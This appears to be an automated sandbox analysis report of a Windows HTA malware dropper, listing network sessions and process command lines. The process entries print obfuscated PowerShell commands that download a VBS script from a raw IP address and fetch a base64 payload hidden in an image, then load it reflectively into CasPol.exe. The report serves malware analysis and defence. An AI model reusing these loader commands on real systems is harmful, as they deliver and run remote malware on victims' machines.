Jan 14, 2025 06:13:00.454395056 CET	224	IN	Data Raw: 6e 69 6e 73 74 61 6c 6c 4b 65 79 20 5f 0d 0a 20 20 20 20 29 29 0d 0a 20 20 20 20 49 66 20 4e 6f 74 20 72 65 71 43 6f 6e 66 69 72 6d 43 68 6b 42 6f 78 2e 63 68 65 63 6b 65 64 20 54 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 55 6e 69 6e 73 74 61 6c 6c Data Ascii: ninstallKey _ )) If Not reqConfirmChkBox.checked Then UninstallFromProgramsAndFeatures = False Exit Function End If On Error Resume Next sh.Run sh.RegRead(key) If Err T
Jan 14, 2025 06:13:00.454410076 CET	1236	IN	Data Raw: 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 55 6e 69 6e 73 74 61 6c 6c 46 72 6f 6d 50 72 6f 67 72 61 6d 73 41 6e 64 46 65 61 74 75 72 65 73 20 3d 20 46 61 6c 73 65 0d 0a 20 20 20 20 20 20 20 20 45 6c 73 65 20 55 6e 69 6e 73 74 61 6c 6c 46 Data Ascii: hen UninstallFromProgramsAndFeatures = False Else UninstallFromProgramsAndFeatures = True End If On Error Goto 0End FunctionSub CreateFlagFile If Not fso.FileExists(flagFile) Then On Error
Jan 14, 2025 06:13:00.454427004 CET	224	IN	Data Raw: 6d 20 69 64 2c 20 49 44 73 0d 0a 20 20 20 20 57 69 74 68 20 4e 65 77 20 57 4d 49 55 74 69 6c 69 74 79 0d 0a 20 20 20 20 20 20 20 20 49 44 73 20 3d 20 2e 47 65 74 50 72 6f 63 65 73 73 49 44 73 42 79 4e 61 6d 65 28 70 72 6f 63 65 73 73 4e 61 6d 65 Data Ascii: m id, IDs With New WMIUtility IDs = .GetProcessIDsByName(processName) For Each id In IDs .TerminateProcessById(id) Next End WithEnd SubSub RunSetup Dim response
Jan 14, 2025 06:13:00.459372997 CET	1236	IN	Data Raw: 20 20 20 49 66 20 4e 6f 74 20 72 75 6e 53 65 74 75 70 43 68 6b 42 6f 78 2e 63 68 65 63 6b 65 64 20 54 68 65 6e 0d 0a 20 20 20 20 20 20 20 20 41 77 61 69 74 4e 65 78 74 49 74 65 6d 0d 0a 20 20 20 20 20 20 20 20 45 78 69 74 20 53 75 62 0d 0a 20 20 Data Ascii: If Not runSetupChkBox.checked Then AwaitNextItem Exit Sub End If If reqConfirmChkBox.checked Then response = MsgBox("Run Setup?", settings, caption) Else response = vbYes End If If vbYes =

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	172.245.123.7	80	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 06:13:19.769376040 CET	112	OUT	GET /77/kissingbestthingswithgreatdayscomingforhim.txt HTTP/1.1 Host: 172.245.123.7 Connection: Keep-Alive
Jan 14, 2025 06:13:20.239456892 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 05:13:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 13 Jan 2025 12:17:30 GMT ETag: "a0aac-62b956dada718" Accept-Ranges: bytes Content-Length: 658092 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 2b 38 67 4e 50 38 79 44 6e 38 77 48 50 59 78 44 54 38 77 43 50 41 73 44 35 37 51 38 4f 6b 75 44 67 37 41 32 4f 38 73 44 48 36 41 76 4f 4d 72 44 72 36 77 6f 4f 73 70 44 52 36 67 69 4f 51 6f 44 43 36 51 67 4f 41 6b 44 2f 35 67 66 4f 30 6e 44 6f 7a 51 7a 4d 77 49 44 70 79 41 71 4d 45 4b 44 67 79 77 6e 4d 77 4a 44 57 79 67 6b 4d 34 49 44 4b 79 67 52 4d 6f 48 44 32 78 51 64 4d 51 48 44 7a 78 67 63 4d 45 48 44 77 78 77 62 4d 34 47 44 72 78 67 61 4d 6b 47 44 6f 78 77 5a 4d 59 47 44 6c 78 41 5a 4d 4d 47 44 69 78 67 57 4d 6b 46 44 59 41 41 41 41 51 43 77 42 51 41 41 41 41 41 44 4c 77 67 42 4d 51 41 [TRUNCATED] Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwD+8gNP8yDn8wHPYxDT8wCPAsD57Q8OkuDg7A2O8sDH6AvOMrDr6woOspDR6giOQoDC6QgOAkD/5gfO0nDozQzMwIDpyAqMEKDgywnMwJDWygkM4IDKygRMoHD2xQdMQHDzxgcMEHDwxwbM4GDrxgaMkGDoxwZMYGDlxAZMMGDixgWMkFDYAAAAQCwBQAAAAADLwgBMQAAAAABAGAPAAAwP8/D9/w+Pk/D4/g9PE/Dv/g6Pg+Dm/A5PM+Di/Q4PA+De/Q3Ps9DW/A1P88DN/wyPk8DA+gvPw7D7+AtPw6Dr+ApPw5DU+AjPQ0D89AdPw2Dk9AXPQ1DM9ABPwzD08ALPQyDc8AFPwwDE7A/OQvDs7A5OwtDU7AzOUsDE7ggOorDy6gqOIqDa6gkOooDC5geOInDx5gaOImDb5AWOAlDI5AAOgjDw4AKOAiDY4wEOEhDQ4gDOwgDK4QCOIgDB3w9NUfDy3Q6NUeDk3g4NsdDa3A2NAdDP3ggN8bD32AtNIbDt2wqNoaDp2wpNUaDj2gnNwZDb2gmNgZDW2AlN8YDN2AiNYYDF2AhNIYDA1gfNkXD31gdNQXDy1AcN8WDo1wZNcVDT1gRNQUDB0QPNATDu0wKNcSDa0AGNURDR0ABNIMD/zw+M4ODszQ6MUODYzg1MMNDPzgwMAID9yQuMwKDqywpMUKDjyglMQJDRywjM0IDAxgfMsHD5xwdMoGDoxQZMEGDUxgUM8EDLwgPMwDAABgJAGAOAAAAPAzDq8AKPcyDm8gIPEyDd8wFPU
Jan 14, 2025 06:13:20.239497900 CET	1236	IN	Data Raw: 78 44 55 38 77 45 50 49 78 44 52 38 41 45 50 77 77 44 4c 38 77 42 50 45 73 44 2f 37 67 2f 4f 30 76 44 38 37 77 2b 4f 6f 76 44 32 37 51 39 4f 45 76 44 72 37 51 36 4f 67 75 44 6e 37 67 35 4f 55 75 44 68 37 41 34 4f 77 74 44 57 37 41 31 4f 4d 74 44 Data Ascii: xDU8wEPIxDR8AEPwwDL8wBPEsD/7g/O0vD87w+OovD27Q9OEvDr7Q6OguDn7g5OUuDh7A4OwtDW7A1OMtDS7Q0OAtDM7wyOcsDB6wvO4rD96QuOgrD06wsO8qDp6wpOYqDi6AnOopDZ6AmOcpDT6QjOwoDG6AhOMoDC6QgOAkD85weOcnDx5wbO4mDq5QaOUmDf5QXOwlDb5wVOYlDS5ATOokDJ5ASOckDG5gQOEgD94wNOUjD0
Jan 14, 2025 06:13:20.239530087 CET	1236	IN	Data Raw: 41 58 4f 6f 6c 44 59 35 67 56 4f 51 6c 44 53 35 41 55 4f 34 6b 44 4d 35 67 53 4f 67 6b 44 47 35 41 52 4f 49 6b 44 41 34 67 50 4f 77 6a 44 36 41 41 51 41 51 44 67 42 41 41 41 41 41 34 44 35 2b 77 74 50 55 37 44 7a 2b 51 73 50 38 36 44 74 2b 77 71 Data Ascii: AXOolDY5gVOQlDS5AUO4kDM5gSOgkDG5AROIkDA4gPOwjD6AAQAQDgBAAAAA4D5+wtPU7Dz+QsP86Dt+wqPk6Dn+QpPM6Dh+wnP05Db+QmPc5DV+wkPE5DP+QjPs4DJ+whPU4DD+QQP83D99wePk3D39QdPM3Dx9wbP02Dr9QaPc2Dl9wYPE2Df9QXPs1DZ9wVPU1DT9QUP80DN9wSPk0DH9QRPM0DB8wPP0zD78QOPczD18wMP
Jan 14, 2025 06:13:20.239562035 CET	1236	IN	Data Raw: 78 44 5a 38 41 47 50 63 78 44 57 38 51 46 50 51 78 44 54 38 67 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 73 77 44 4b 38 51 43 50 67 77 44 48 38 67 42 50 55 77 44 45 38 77 41 50 49 77 44 42 38 41 77 4f 38 76 44 2b 41 41 41 41 67 44 51 Data Ascii: xDZ8AGPcxDW8QFPQxDT8gEPExDQ8wDP4wDN8ADPswDK8QCPgwDH8gBPUwDE8wAPIwDB8AwO8vD+AAAAgDQBQDAAA0Dx9AcP82Du9QbPw2Dr9gaPk2Do9wZPY2Dl9AZPM2Di9AYP81De9QXPw1Db9QWPY1DV9AVPM1DS9QUPA1DP9QTPw0DL9gSPk0DI9wRPY0DE9gAAAAAXAUAwAsDi7Q4OAuDf7g3O0tDc7w2OotDZ7A2OctDW
Jan 14, 2025 06:13:20.239593983 CET	1236	IN	Data Raw: 77 66 50 30 33 44 37 39 51 65 50 63 33 44 31 39 77 63 50 45 33 44 76 39 51 62 50 73 32 44 70 39 77 5a 50 55 32 44 6a 39 51 59 50 38 31 44 64 39 77 57 50 6b 31 44 58 39 51 56 50 4d 31 44 52 39 77 54 50 30 30 44 4c 39 51 53 50 63 30 44 46 39 77 51 Data Ascii: wfP03D79QePc3D19wcPE3Dv9QbPs2Dp9wZPU2Dj9QYP81Dd9wWPk1DX9QVPM1DR9wTP00DL9QSPc0DF9wQPEwD/8QPPszD58wNPUzDz8QMP8yDt8wKPkyDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl7w4OEuDf7Q3OstDZ7w1OUtDT7Q0O8sDN7wyO
Jan 14, 2025 06:13:20.239624977 CET	1236	IN	Data Raw: 44 6a 79 77 41 4d 4d 32 43 44 72 77 49 4b 4d 59 43 6a 6a 77 51 49 4d 36 42 44 63 77 59 47 4d 63 42 6a 55 77 67 45 4d 2b 41 44 4e 77 6f 43 4d 67 41 6a 46 77 77 41 4d 43 41 41 41 41 51 45 41 46 41 48 41 41 41 77 50 34 2f 6a 37 2f 51 2b 50 61 2f 44 Data Ascii: DjywAMM2CDrwIKMYCjjwQIM6BDcwYGMcBjUwgEM+ADNwoCMgAjFwwAMCAAAAQEAFAHAAAwP4/j7/Q+Pa/D0/Y8P8+js/g6Pe+Dl/A4P29Db/I2PY9DT/E0P38TL/MyPZ8zD/UgP77T8+UuPa7D0+YsP86js+cpP05TU+YjPb4DA9YfPs3j49gdPO3Dx9obPw2jp9wZPS2Di94XP11jT9YUPv0zC88MPRyDV8gBPJsj+7c8O/qz+
Jan 14, 2025 06:13:20.239660025 CET	776	IN	Data Raw: 6f 4f 4e 64 54 6a 30 30 49 4a 4e 39 52 54 61 30 30 46 4e 55 4d 44 31 7a 45 38 4d 66 4f 54 65 7a 59 31 4d 4e 4d 44 43 7a 49 67 4d 39 4c 6a 57 79 38 51 4d 6f 48 44 74 78 49 53 4d 50 41 54 32 77 49 4b 4d 74 42 44 5a 77 59 46 4d 42 42 54 45 41 41 41 Data Ascii: oONdTj00IJN9RTa00FNUMD1zE8MfOTezY1MNMDCzIgM9LjWy8QMoHDtxISMPAT2wIKMtBDZwYFMBBTEAAAAgCABgDwP6/z7/s9PQ/zy/o6P91za9AVPYwDw8ALPmyTm88IPAyjZ88FPYxTU84BPJwDB7M/Opvzy786Oduzi7w3OCkT+5IdOnlDQ4sZNSXzs1UENqTTiz07MwODqzsnMFJjAxEeMZHTwx0KMgDTswEEAAAAdAQA0
Jan 14, 2025 06:13:20.239691973 CET	1236	IN	Data Raw: 63 68 4d 34 4c 44 33 79 77 70 4d 47 4b 44 41 78 38 65 4d 61 48 7a 70 78 55 55 4d 2b 41 7a 63 77 77 47 41 41 41 41 68 41 51 41 6f 41 41 41 41 39 77 44 50 43 74 44 76 37 67 6d 4f 46 71 7a 66 36 30 6d 4f 78 6f 6a 4a 35 49 5a 4f 44 6c 54 45 34 45 75 Data Ascii: chM4LD3ywpMGKDAx8eMaHzpxUUM+AzcwwGAAAAhAQAoAAAA9wDPCtDv7gmOFqzf60mOxojJ5IZODlTE4EuNibDx20rNlajn28oN/ZDe2kzMuBAAAgDAEAJA+QkPo0zC8UNPqwjG7A8OduzZ7U1Oeoz46gsOYqzX5oeOcnz15ocO0mjn5cZO2lTW5MFOpYTL10VN+UDH04KNMSDf0cGNdNDvzc6MeOTkzY4MwMDKzMgM7LTzyYsM
Jan 14, 2025 06:13:20.239727974 CET	1236	IN	Data Raw: 59 44 36 32 45 73 4e 4e 61 6a 52 32 30 6a 4e 73 59 7a 42 31 38 65 4e 6e 58 7a 32 31 6b 63 4e 77 57 44 71 31 45 61 4e 54 57 6a 68 31 45 59 4e 30 56 7a 62 31 59 57 4e 59 56 6a 55 31 63 55 4e 42 56 6a 4e 31 34 53 4e 6a 55 54 48 31 77 51 4e 48 51 44 Data Ascii: YD62EsNNajR20jNsYzB18eNnXz21kcNwWDq1EaNTWjh1EYN0Vzb1YWNYVjU1cUNBVjN14SNjUTH1wQNHQD+0UMNySDn0AJNDSjf0gEN2Mj8zQ3MdJzxy0nMlJjFysQMyGTkwoOMZCThwoHMvBjawAGMbBTQwYCAAAAvAQAMA8T+/E+Pp+zg/Y2Pw8jB+cOPJzDx8YJP1xDc80DP2wzF80APHsD674dOqnz35YaOdmjM5wSOmkDH
Jan 14, 2025 06:13:20.239764929 CET	1236	IN	Data Raw: 55 34 4e 35 59 54 77 30 30 70 4d 76 46 6a 6a 78 38 58 4d 77 45 44 4a 78 4d 42 4d 34 44 6a 36 77 41 4f 4d 50 44 6a 76 77 67 4c 4d 71 43 7a 6e 77 4d 49 4d 76 42 7a 52 77 77 43 4d 6d 41 44 47 41 41 41 41 6f 42 77 41 41 43 77 50 33 2f 7a 35 2f 49 2b Data Ascii: U4N5YTw00pMvFjjx8XMwEDJxMBM4Dj6wAOMPDjvwgLMqCznwMIMvBzRwwCMmADGAAAAoBwAACwP3/z5/I+Pl4zp+kkPe0z99kbPX2ji9gXPw1DP8gqOkpzU5wcOhlDX5QEO8jD310PNCTDt0YJNROjWzY1MSNjTzo0MGNjQz4zM6MjNzIzMuMjKzYyMiMjHzoxMWMjEz4wMKMjBzIgM+Lj+yYvMyLj7youMmLj4y4NAAAAgAMAc
Jan 14, 2025 06:13:20.244909048 CET	1236	IN	Data Raw: 4a 44 54 79 4d 6b 4d 30 45 6a 33 78 45 63 4d 77 47 7a 6f 78 6f 5a 4d 4d 47 7a 67 78 6f 58 4d 4b 46 7a 51 78 38 43 4d 7a 44 7a 36 77 49 4f 4d 4f 42 7a 51 77 67 43 4d 61 41 7a 42 41 41 51 41 41 43 77 41 41 42 41 41 41 38 6a 36 2f 6b 37 50 70 2b 7a Data Ascii: JDTyMkM0Ej3xEcMwGzoxoZMMGzgxoXMKFzQx8CMzDz6wIOMOBzQwgCMaAzBAAQAACwAABAAA8j6/k7Pp+zo/s4P29Dc/g1P58TM+kuPj7zo+UoPS5DS+gCP4yzg8kEP8wzN8YBPRwDD7c/OMvTZ7wjOtrjm6EoO5pjU6UUOdnz05EcO7mDt58ZOKmDd5MWOTlzR5QTOlgz/4kMOdiTE4oAOEcT+3I/NpfT43o9NSfzx307NzeTr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	178.237.33.50	80	8052	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	Bytes transferred	Direction	Data
Jan 14, 2025 06:13:21.988723993 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Jan 14, 2025 06:13:22.592828989 CET	1171	IN	HTTP/1.1 200 OK date: Tue, 14 Jan 2025 05:13:22 GMT server: Apache content-length: 963 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 32 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.189", "geoplugin_status":200, "geoplugin_delay":"2ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7126", "geoplugin_longitude":"-74.0066", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	00:12:54
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\verynicegirlwalkingarounftheworldmuuuah.hta"
Imagebase:	0xe40000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	1
Start time:	00:12:55
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	00:12:55
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	00:12:55
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	00:12:58
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.cmdline"
Imagebase:	0x970000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	00:12:58
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8DF2.tmp" "c:\Users\user\AppData\Local\Temp\2qf3pwzp\CSCB3A240E1501D48929A893BA197F62C4E.TMP"
Imagebase:	0x1d0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	00:13:02
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsforgetmebackwithgoodnewsthi.vbS"
Imagebase:	0xba0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	00:13:03
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null 